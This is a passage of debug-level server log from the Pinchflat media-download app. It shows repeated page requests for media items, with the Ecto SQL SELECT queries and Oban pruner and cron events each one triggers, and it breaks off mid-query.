Sent 200 in 10ms 02:12:43.765 [info] {"source":"oban","duration":1429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:13:00.239 [info] {"source":"oban","duration":299,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:13:13.767 [info] {"source":"oban","duration":1459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:13:31.803 [info] GET /sources/3/media/3301 02:13:31.803 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "3301", "prevent_download" => "true", "source_id" => "3"} Pipelines: [:browser] 02:13:31.804 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=631.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [3301] 02:13:31.805 [debug] QUERY OK source="tasks" db=0.3ms idle=326.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [3301] 02:13:31.806 [debug] QUERY OK source="sources" db=0.6ms idle=326.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:13:31.806 [debug] QUERY OK source="settings" db=0.1ms idle=327.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:13:31.807 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=327.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:13:31.808 [debug] QUERY OK source="settings" db=0.1ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:13:31.810 [debug] QUERY OK source="media_profiles" db=0.3ms idle=4.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 02:13:31.813 [info] Sent 200 in 10ms 02:13:43.769 [info] {"source":"oban","duration":1137,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:14:00.240 [info] {"source":"oban","duration":197,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:14:13.771 [info] {"source":"oban","duration":1305,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:14:18.637 [info] GET /sources/3/media/3305 02:14:18.638 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "3305", "prevent_download" => "true", "source_id" => "3"} Pipelines: [:browser] 02:14:18.638 [debug] QUERY OK source="media_items" db=0.3ms idle=1159.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [3305] 02:14:18.639 [debug] QUERY OK source="tasks" db=0.2ms idle=1160.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [3305] 02:14:18.640 [debug] QUERY OK source="sources" db=0.5ms idle=1160.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:14:18.640 [debug] QUERY OK source="settings" db=0.2ms idle=1161.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:14:18.641 [debug] QUERY OK source="settings" db=0.3ms idle=373.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:14:18.642 [debug] QUERY OK source="settings" db=0.2ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:14:18.643 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 02:14:18.647 [info] Sent 200 in 9ms 02:14:43.773 [info] {"source":"oban","duration":1641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:15:00.241 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:15:01.788 [info] GET /sources/3/media/3298 02:15:01.789 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "3298", "prevent_download" => "true", "source_id" => "3"} Pipelines: [:browser] 02:15:01.790 [debug] QUERY OK source="media_items" db=0.5ms idle=1310.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [3298] 02:15:01.791 [debug] QUERY OK source="tasks" db=0.3ms idle=1311.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [3298] 02:15:01.791 [debug] QUERY OK source="sources" db=0.5ms idle=436.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:15:01.792 [debug] QUERY OK source="settings" db=0.3ms idle=312.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:15:01.792 [debug] QUERY OK source="settings" db=0.2ms idle=313.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:15:01.793 [debug] QUERY OK source="settings" db=0.2ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:15:01.795 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 02:15:01.798 [info] Sent 200 in 10ms 02:15:13.775 [info] {"source":"oban","duration":1408,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:15:38.410 [info] GET /sources/3/media/3296 02:15:38.411 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "3296", "prevent_download" => "true", "source_id" => "3"} Pipelines: [:browser] 02:15:38.412 [debug] QUERY OK source="media_items" db=0.4ms idle=985.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [3296] 02:15:38.413 [debug] QUERY OK source="tasks" db=0.3ms idle=933.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [3296] 02:15:38.413 [debug] QUERY OK source="sources" db=0.5ms idle=933.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:15:38.414 [debug] QUERY OK source="settings" db=0.3ms idle=934.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:15:38.414 [debug] QUERY OK source="settings" db=0.3ms idle=935.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:15:38.415 [debug] QUERY OK source="settings" db=0.2ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:15:38.417 [debug] QUERY OK source="media_profiles" db=0.3ms idle=3.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 02:15:38.420 [info] Sent 200 in 9ms 02:15:43.777 [info] {"source":"oban","duration":1504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:16:00.242 [info] {"source":"oban","duration":328,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:16:12.072 [info] GET /sources/3/media/3297 02:16:12.073 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "3297", "prevent_download" => "true", "source_id" => "3"} Pipelines: [:browser] 02:16:12.074 [debug] QUERY OK source="media_items" db=0.4ms idle=1581.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [3297] 02:16:12.075 [debug] QUERY OK source="tasks" db=0.4ms idle=595.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [3297] 02:16:12.075 [debug] QUERY OK source="sources" db=0.9ms idle=595.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:16:12.076 [debug] QUERY OK source="settings" db=0.3ms idle=596.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:16:12.077 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=582.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:16:12.078 [debug] QUERY OK source="settings" db=0.2ms idle=4.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:16:12.080 [debug] QUERY OK source="media_profiles" db=0.3ms idle=4.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 02:16:12.083 [info] Sent 200 in 10ms 02:16:13.779 [info] {"source":"oban","duration":1225,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:16:42.390 [info] GET /sources/3/media/3313 02:16:42.391 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "3313", "prevent_download" => "true", "source_id" => "3"} Pipelines: [:browser] 02:16:42.392 [debug] QUERY OK source="media_items" db=0.4ms idle=912.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [3313] 02:16:42.393 [debug] QUERY OK source="tasks" db=0.4ms idle=913.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [3313] 02:16:42.393 [debug] QUERY OK source="sources" db=0.7ms idle=913.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:16:42.394 [debug] QUERY OK source="settings" db=0.1ms idle=914.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:16:42.394 [debug] QUERY OK source="settings" db=0.3ms idle=840.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:16:42.396 [debug] QUERY OK source="settings" db=0.3ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:16:42.397 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 02:16:42.400 [info] Sent 200 in 10ms 02:16:43.781 [info] {"source":"oban","duration":1471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:17:00.243 [info] {"source":"oban","duration":334,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:17:08.288 [info] GET /sources/3/media/3300 02:17:08.289 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "3300", "prevent_download" => "true", "source_id" => "3"} Pipelines: [:browser] 02:17:08.290 [debug] QUERY OK source="media_items" db=0.4ms idle=810.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [3300] 02:17:08.291 [debug] QUERY OK source="tasks" db=0.2ms idle=811.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [3300] 02:17:08.291 [debug] QUERY OK source="sources" db=0.5ms idle=811.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:17:08.292 [debug] QUERY OK source="settings" db=0.3ms idle=812.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:17:08.292 [debug] QUERY OK source="settings" db=0.2ms idle=685.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:17:08.293 [debug] QUERY OK source="settings" db=0.2ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:17:08.295 [debug] QUERY OK source="media_profiles" db=0.3ms idle=3.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 02:17:08.298 [info] Sent 200 in 9ms 02:17:13.783 [info] {"source":"oban","duration":1185,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:17:32.948 [info] GET /sources/new 02:17:32.949 [debug] Processing with PinchflatWeb.Sources.SourceController.new/2 Parameters: %{"template_id" => "3"} Pipelines: [:browser] 02:17:32.950 [debug] QUERY OK source="sources" db=0.4ms idle=1470.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:17:32.950 [debug] QUERY OK source="media_profiles" db=0.3ms idle=1471.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 02:17:32.951 [debug] QUERY OK source="settings" db=0.2ms idle=1471.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", 